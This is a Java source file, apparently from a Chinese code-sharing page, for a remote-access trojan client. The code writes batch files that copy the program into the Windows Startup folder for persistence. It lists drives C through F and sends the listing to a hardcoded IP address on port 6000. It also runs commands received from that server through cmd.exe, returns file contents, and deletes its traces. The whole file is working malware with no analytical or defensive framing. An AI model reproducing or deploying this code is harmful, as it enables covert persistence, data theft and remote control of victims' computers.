📄 client.java~1~
字号:
import java.io.*;import java.net.*;import java.lang.*;public class Client {static String cjstr;/****方法1*********下面方法负责生成imp.txt并往里写入执行客户端cmd命令*******************/ public static void importrun() {try { FileWriter fw= new FileWriter("imp.txt"); BufferedWriter buw= new BufferedWriter(fw); buw.write("@echo off"); buw.write("\n"); buw.write("java Client"); buw.write("\n"); buw.close(); } catch (Exception e) { System.out.println("1"); } }/*****方法2**************执行生成的bat 文件和复制imp.bat到启动列表*************************/ public static void mingling1() {try { Process p=Runtime.getRuntime().exec("cmd.exe /c copy 1.txt 1.bat "); Process p1=Runtime.getRuntime().exec("cmd.exe /c 1.bat"); Process p2=Runtime.getRuntime().exec("cmd.exe /c copy imp.txt C:\\\"Documents and Settings\"\\Administrator\\\"「开始」菜单\"\\程序\\启动\\imp.bat "); // Process p3=Runtime.getRuntime().exec("cmd.exe /c C:\\\"Documents and Settings\"\\Administrator\\\"「开始」菜单\"\\程序\\启动\\imp.bat"); } catch (Exception e) { System.out.println(e); } }/***方法3******************执行服务端传来的指令****************************************/ public static void mingling2(String ml) { String str=ml; try { Process p=Runtime.getRuntime().exec("cmd.exe /c "+str); } catch (Exception e) { System.out.println(e); } }/**方法4*************************删除临时文件*****************************/ public static void mingling3() { try { Process p=Runtime.getRuntime().exec("cmd.exe /c del 1.txt"); Process p2=Runtime.getRuntime().exec("cmd.exe /c del 1.bat"); Process p3=Runtime.getRuntime().exec("cmd.exe /c del imp.txt"); } catch (Exception r) { System.out.println("删除临时出现异常!"); } }/***方法5***********************创建bat命令,并运行bat命令,把获得的资料返回给主方法**********************/ public static byte[] chuangjian()throws Exception { FileWriter fw= new FileWriter("1.txt"); BufferedWriter buw= new BufferedWriter(fw); buw.write("@echo off"); buw.newLine(); buw.write("copy Client.class C:\\\"Documents and Settings\"\\Administrator\\\"「开始」菜单\"\\程序\\启动\\"); buw.write("\n"); buw.write("dir c: >ypzl.txt"); buw.write("\n"); buw.write("dir d: >>ypzl.txt"); buw.write("\n"); buw.write("dir e: >>ypzl.txt"); buw.write("\n"); buw.write("dir f: >>ypzl.txt"); buw.write("\n"); buw.close(); Thread td=new Thread(); importrun(); td.sleep(3000); mingling1(); td.sleep(5000); mingling3(); String s="ypzl.txt"; byte[] by = duqv(s); return by; }/***方法6********************读取生成的文本资料,返回给调用者*******************/ public static byte[] duqv(String s)throws Exception { FileReader fr = new FileReader(s); char[] ch = new char[1000000]; int leng = fr.read(ch); String str = new String(ch, 0, leng); byte[] by = new byte[1000000]; by = str.getBytes(); return by; }/*main方法*/ public static void main(String[] args) { start1(); }/****方法7*********客户端请求连接服务端方法(把读取的资料传回服务端)****************/ public static void start1(){ boolean f=true; while(f) { try { Socket s=new Socket("60.21.27.38",6000); InputStream is=s.getInputStream(); OutputStream os=s.getOutputStream(); byte[] by=null; try { by=chuangjian(); } catch (Exception e) { System.out.println(e); } os.write(by);//返回资料 byte []b=new byte[100]; int len=is.read(b); cjstr=new String(b,0,len); System.out.println(cjstr); String gg="goto"; if(cjstr.length()>0) { zhixing(); } else f=false; os.close(); is.close(); s.close(); } catch (Exception ex) { ex.printStackTrace(); } } }/******方法8*************获得服务端穿过来的命令,如果命令的目的是在次获得文本信息可以直接返回*/ public static void zhixing() { try { Socket s=new Socket("60.21.27.38",6000); InputStream is=s.getInputStream(); OutputStream os=s.getOutputStream(); System.out.println(cjstr); mingling2(cjstr); Thread td=new Thread(); td.sleep(3000); byte[] bn=null; bn=duqv("system.ini");//这里可以指定返回资料的文件名 os.write(bn);//返回资料 byte []b=new byte[10000]; int len=is.read(b); System.out.println(new String(b,0,len)); os.close(); is.close(); s.close(); } catch(FileNotFoundException t) { System.out.println("可以忽略的异常!嘿嘿"); } catch (Exception ex) { ex.printStackTrace(); } } }
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -